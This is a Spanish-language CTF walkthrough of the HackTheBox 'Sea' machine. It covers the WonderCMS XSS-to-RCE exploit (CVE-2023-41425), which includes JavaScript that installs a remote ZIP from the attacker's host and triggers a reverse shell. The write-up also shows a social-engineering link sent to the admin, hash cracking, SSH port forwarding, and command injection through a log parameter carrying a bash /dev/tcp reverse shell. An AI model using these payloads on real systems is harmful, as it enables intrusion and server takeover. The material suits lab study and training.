> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md). # Guía de HackTheBox Sea Guía de la máquina HackTheBox Sea Fácil Linux que cubre explotación de Wonder CMS, vulnerabilidad CSRF, (XSS a RCE), redirección de puertos, con notas prácticas de enumeración, explotación, acceso inicial y escalada de privilegios {% embed url="" %} {% hint style="warning" %} **Habilidades**: * Explotación de Wonder CMS * Vulnerabilidad CSRF * (XSS a RCE) * Reenvío de puertos * Vulnerabilidad de envenenamiento de logs (LFI - RCE) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22.80)

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p80,22 10.10.11.28 -oN targeted ```

Para resolver nombres de dominio en direcciones IP mediante DNS, inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` .

**Descubrimiento de un sitio de contacto:**

**Comprobación de las comunicaciones entre el servidor y el sitio:**/ Encontramos una parte del sitio dedicada a contactos. Comprobamos si el servidor está enviando marcos a este sitio.

**Recepción de un marco en nuestro servidor web:**/ Para capturar este marco, configuramos un servidor HTTP simple con Python: ```bash python3 -m http.server 555 ```

**Interceptando la petición con** [Burp Suite ](/es/hacking-tools/web/burpsuite.md)**:**/ Interceptamos la petición con Burp Suite para analizar las comunicaciones. ## **Posible** [**SSRF**](/es/web/ssrf.md)**:** #### Intentamos enumerar servicios internos usando un ataque SSRF, modificando el parámetro de consulta: ```bash &website=http:127.0.0.1 ```

**Descubrimiento de puertos internos con Intruder:**/ Usamos Burp Suite Intruder para realizar un ataque de fuerza bruta y descubrir puertos internos abiertos.

**Filtrado de respuestas:**/ Filtramos las respuestas según su tamaño para identificar cuáles son relevantes, pero todas son iguales.

## Vulnerabilidad de WonderCMS ([CSRF](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)): (XSS a RCE) **Búsqueda de directorios:**/ Usamos Gobuster para buscar directorios en el sitio: ```bash gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` Esto nos devuelve el **/themes** directorio con un código de redirección 301.

**Explorando el directorio themes:**/ Continuamos la búsqueda añadiendo la ruta descubierta a la URL y explorando el **/themes** directorio ```bash gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` Encontramos el **/bike** subdirectorio.

**Filtrado por extensiones de archivo:**/ Usamos *ffuf* para filtrar archivos con ciertas extensiones (php, html, png, etc.) en el **/bike** directorio: ```bash ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403 ``` Este comando nos permite encontrar un archivo llamado **README.md**

Encontramos un `README.md` archivo que indica que el servidor usa un tema llamado "WONDER", que es un CMS.

Mientras buscábamos vulnerabilidades relacionadas con este CMS, descubrimos una falla que permite la ejecución remota de código (RCE) mediante inyección XSS. {% embed url="" %} **Código JavaScript para obtener una shell:**/ El siguiente código JavaScript descarga un archivo ZIP malicioso que contiene un script de reverse shell y luego lo ejecuta en el servidor: ```javascript // el servidor tiene algún problema resolviendo el nombre de dominio con JavaScript // podemos simplemente proporcionar la URL objetivo como parámetro requerido var whateverURL = "http://sea.htb"; var token = document.querySelectorAll('[name="token"]')[0].value; // modificar la ruta del archivo ZIP servido en el servidor HTTP var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token; var xhr3 = new XMLHttpRequest(); xhr3.withCredentials = true; xhr3.open("GET", urlRev); xhr3.send(); xhr3.onload = function() { if (xhr3.status == 200) { var xhr4 = new XMLHttpRequest(); xhr4.withCredentials = true; // visitar rev.php dentro del archivo ZIP subido xhr4.open("GET", whateverURL+"/themes/whatever/rev.php"); xhr4.send(); xhr4.onload = function() { if (xhr4.status == 200) { var ip = "10.10.14.89"; var port = "4444"; var xhr5 = new XMLHttpRequest(); xhr5.withCredentials = true; // activar el script de reverse shell y proporcionar la IP y el puerto del listener xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port); xhr5.send(); } }; } }; ``` **Instalación del script de exploit para la vulnerabilidad (CVE-2023-41425):** ```bash git clone https://github.com/prodigiousMind/CVE-2023-41425 cd CVE-2023-41425 ``` Ejecutamos el script de explotación: ```bash python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444 ``` El script anterior envía una petición a nuestro servidor en el puerto 8000 a través de un `xss.js` archivo, otorgándonos acceso RCE y control de la máquina objetivo.

**Paso final:** Necesitamos enviar el enlace XSS al administrador a través del `contact.php` formulario para engañarlo y que haga clic en el enlace malicioso: {% code fullWidth="true" %} ``` http://sea.htb/index.php?page=loginURL?">

**Escuchando con Netcat:**/ Escuchamos en el puerto 4444: ```bash nc -nlvp 4444 ```

#### Una vez que tengas acceso al servidor Linux, usa los siguientes comandos para estabilizar la terminal ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Estabiliza la shell para trabajar más cómodamente. ## Escalada de privilegios: Como usuario *www-data*, filtraremos el contenido usando el `find` comando para buscar solo archivos que contengan la palabra "**contraseña**" en el directorio del servidor web `/var/www/sea`. ```bash find /var/www/sea -type f -exec grep -Hn "password" {} / ``` Encontramos una contraseña cifrada en el `database.js` archivo: `$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q`

Para descifrar esta contraseña, usamos la **John the Ripper** herramienta con el `rockyou.txt` archivo de diccionario: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

La contraseña descifrada es mychemicalromance Ahora intentaremos conectarnos con los dos usuarios disponibles en el sistema: "geo" y "amays".

La contraseña del usuario **amays** es correcta. ### Bandera user.txt

Analizando las comunicaciones de la red interna, encontramos que el puerto 8080 estaba en uso: ```bash netstat -ano netstat -nltp ```

Por lo tanto, redirigiremos el puerto 8080 del servidor a nuestra máquina atacante mediante SSH usando reenvío de puertos, desde el puerto 8888: ```bash ssh -L 8888:localhost:8080 amay@10.10.11.28 ``` Una vez conectados, encontramos un panel de inicio de sesión.

Con las credenciales del usuario `amay`: `mychemicalromance`, logramos conectarnos a un sistema de monitoreo.

Podemos observar los registros de conexión de `root`.

Al interceptar la petición con Burp Suite, notamos que muestra el contenido del `/var/log/apache2/access.log` archivo de una manera más estructurada.

Este archivo solo puede ser abierto por el usuario `root`.

### Vulnerabilidad [(LFI - RCE) Envenenamiento de logs](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md): Si intentamos listar un archivo como `/etc/passwd`, por ejemplo: ``` log_file=/etc/passwd &analyze_log=/etc/passwd ``` ¡El archivo se lista :)

Luego intentaremos leer el archivo que contiene la `root` flag y observamos que es posible ejecutar comandos (como `id`): ```bash log_file=/root/root.txt;id;----&analyze_log=/root/root.txt ```

### **Acceso completo (reverse shell):** Para obtener una reverse shell, ejecutamos el siguiente comando: {% code fullWidth="false" %} ```bash bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261" ``` {% endcode %} {% code overflow="wrap" fullWidth="true" %} ``` log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt ``` {% endcode %} Luego, escuchamos con `nc`: ```bash nc -nvlp 443 ``` ### Flag root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.